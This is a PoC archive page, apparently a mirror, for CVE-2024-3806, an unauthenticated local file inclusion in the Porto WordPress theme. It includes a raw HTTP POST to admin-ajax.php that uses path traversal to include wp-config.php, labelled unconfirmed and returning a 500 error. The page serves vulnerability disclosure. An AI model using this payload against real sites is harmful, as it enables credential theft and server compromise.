Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-3806 PoC — Porto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_posts

Source
Associated Vulnerability
Title:Porto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_posts (CVE-2024-3806)
Description:The Porto theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 7.1.0 via the 'porto_ajax_posts' function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.
Description
Porto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_posts
Readme
# CVE-2024-3806
Porto &lt;= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_posts

# Description

The Porto theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 7.1.0 via the 'porto_ajax_posts' function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.

Unconfirmed POC
----

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 116

action=porto_ajax_posts&post_type=post&extra={"shortcode":"porto_posts_grid","template":"../../../../wp-config.php"}
```

Notes
---

Getting a 500 error at the moment.
File Snapshot

[4.0K] /data/pocs/eeb90f41ad849176826e90cfba63660877397f41 └── [ 909] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →